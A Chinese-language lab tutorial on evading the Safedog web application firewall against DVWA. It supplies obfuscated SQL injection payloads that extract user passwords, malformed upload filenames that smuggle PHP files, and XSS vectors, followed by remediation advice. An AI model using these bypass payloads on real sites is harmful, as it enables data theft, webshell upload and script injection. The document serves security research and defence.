前言
本文以最新版安全狗為例,總結一下我個人掌握的一些繞過WAF進行常見WEB漏洞利用的方法。
PS:本文僅用於技術研究與討論,嚴禁用於任何非法用途,違者后果自負,作者與平台不承擔任何責任
PPS:本文首發於freebuf (https://www.freebuf.com/articles/web/254513.html )
測試環境
PHPStudy(PHP5.4.45+Apache+MySQL5.5.53)+最新版安全狗(4.0.28330)


靶場使用DVWA:http://www.dvwa.co.uk/
SQL注入
判斷是否存在注入
方法一
and 1=1被攔截

單獨的and是不攔截的。and后面加數字或者字符的表達式會被匹配攔截。
1=1,1=2的本質是構造一個真、假值,我們可以直接用True,False代替

但是依然會被攔截。不過and也可以用 && 代替。
我們構造1' && True --+ 就可繞過

1' && False --+

方法二
將and 后面的數字或者字符表達式加幾個內聯注釋也可以繞過。
內聯注釋:/* */ 在mysql中是多行注釋 但是如果里面加了! 那么后面的內容會被執行。這些語句在不兼容的數據庫中使用時便不會執行
如: 1' and /*!1*/=/*!1*/ --+

1' and /*!1*/=/*!2*/ --+

方法三 分塊傳輸
分塊傳輸的原理請自行檢索,這里不再贅述。
分塊傳輸插件:https://github.com/c0ny1/chunked-coding-converter/releases/tag/0.2.1

正常寫測試payload : 1' and 1=1 --+

將請求方式改為POST,然后進行分塊傳輸編碼


可以看到,沒有被攔截。
1' and 1=2 --+

猜解字段數
方法一
order by被攔截

單獨的order和單獨的by都不會被攔截,我們需要在order by之間加各種無效字符。
可以將 1' order /*$xxx$*/ by 1 --+ 放burp里跑各種垃圾參數字典來爆破。
經過測試,1' order/*%%!asd%%%%*/by 3 --+可以成功過狗

通過內聯注釋/*!*/和注釋/**/以及一些無效字符也可以繞過(需要不斷Fuzz嘗試)
1' /*!order/*!/*/**/by*/ 3 --+

方法二 分塊傳輸
1' order by 3 --+


獲取當前數據庫
方法一
1' union select 1,database() --+ 被攔截
分開測試 union select 會被攔截

database() 也會被攔截

先繞過union select:
和之前order by的繞過方法一樣
1' union/*%%!asd%%%%*/select 1,2 --+

再繞過database():
經過測試,我們發現單獨的database不會被攔截,加了括號就會了
我們將之前的垃圾數據/*%%!asd%%%%*/放到括號了,即可成功繞過

拼接一下,最終的payload為:
1' union/*%%!asd%%%%*/select 1,database(/*%%!asd%%%%*/) --+

方法二 分塊傳輸
分塊傳輸依然可以
1' union select 1,database() --+


獲取數據庫中的表
方法一
正常注入語句:
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+
根據前面的測試,這個繞過就很簡單了,只需要將一個空格地方替換成/*%%!asd%%%%*/即可。
Payload:
1' union/*%%!asd%%%%*/select 1,group_concat(table_name) /*%%!asd%%%%*/from /*%%!asd%%%%*/information_schema.tables where table_schema=database(/*%%!asd%%%%*/) --+

方法二 分塊傳輸


獲取表中的字段名
方法一
正常注入語句:
1' union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’ --+
繞過方法和獲取表的操作無異:
1' union/*%%!asd%%%%*/select 1,group_concat(column_name) /*%%!asd%%%%*/from/*%%!asd%%%%*/information_schema.columns where table_name=’users’ --+

方法二 分塊傳輸


獲取數據
方法一
正常注入語句:
1' union select group_concat(user),group_concat(password) from users --+
繞過方法還是一樣:
1' union/*%%!asd%%%%*/select group_concat(user),group_concat(password) /*%%!asd%%%%*/from/*%%!asd%%%%*/users --+

方法二 分塊傳輸


文件上傳
安全狗對文件上傳的攔截是通過檢測文件擴展名來實現的。只要解析結果在禁止上傳的文件類型列表中,就會被攔截。

我們要做的就是構造各種畸形數據包,以混淆WAF的檢測規則。
獲取文件名的地方在Content-Disposition和Content-Type,所以繞過的地方也主要在這兩個地方

直接上傳PHP文件會被攔截


繞過方法1
將filename=”hhh.php” 改為filename=hhh.php; 即可繞過


繞過方法2
各種換行,主要是要把點號和字符串”php”分開

繞過方法3
將filename=”hhh.php” 改為 filename==”hhh.php”(三個等號也可以繞過)

繞過方法4
文件名之間放置分號 filename=”hh;h.php”

繞過方法5
多個filename=”hhh.txt”,最后一個filename=”hhh.php”

XSS
查看安全狗的漏洞防護規則可以發現,安全狗對XSS的防護是基於黑名單的,我們只要fuzz一下哪些標簽沒有被過濾就好了。

有很多標簽可以繞過,這里舉例兩種:
(1) <audio> 標簽定義聲音,比如音樂或其他音頻流。
<audio src=1 onerror=alert(/xss/);>
<audio src=1 onerror=prompt('xss');>

(2) <object> 標簽,data屬性
alert(‘xss’)的base64編碼:PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=
payload:
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="></object>

文件包含

通過絕對路徑、相對路徑,稍微加些混淆就能繞過...

修復建議
我們研究WAF繞過的目的主要是為了警醒網站開發者並不是部署了WAF就可以高枕無憂了,要明白漏洞產生的根本原因,最好能在代碼層面上就將其修復。下面給出一些修復建議:
SQL注入
使用預編譯sql語句查詢和綁定變量:使用PDO需要注意不要將變量直接拼接到PDO語句中。所有的查詢語句都使用數據庫提供的參數化查詢接口,參數化的語句使用參數而不是將用戶輸入變量嵌入到SQL語句中。當前幾乎所有的數據庫系統都提供了參數化SQL語句執行接口,使用此接口可以非常有效的防止SQL注入攻擊。
對用戶輸入的數據格式進行嚴格要求,比如編號只能輸入數字就只能輸入數字,只能輸入字母就只能輸入字符,並且對數據的長度進行限制。
文件上傳
文件上傳的目錄設置為不可執行:只要Web容器無法解析該目錄下的文件,即使攻擊者上傳了腳本文件,服務器本身也不會受到影響。在實際的上傳應用中,可以將文件上傳后放到獨立的存儲上,做靜態文件處理,一方面方便使用緩存加速,降低性能損耗;另一方面也杜絕了腳本執行的可能。
使用隨機數改寫文件名和文件路徑
上傳文件時,服務端采用白名單形式限制文件上傳的后綴名稱,只允許上傳“jpg、png、gif、bmp 、doc、docx、rar、zip”等非Web腳本執行文件。
XSS
對用戶輸入的參數中的特殊字符進行HTML轉義或者編碼,防止出現有意義的HTML、CSS、JavaScript代碼,如:“’、”、<、>、(、=、.”等特殊字符。可以通過Filter過濾器實現全局編碼或者轉義,也可以在單點對字符串類型數據進行編碼或者轉義。
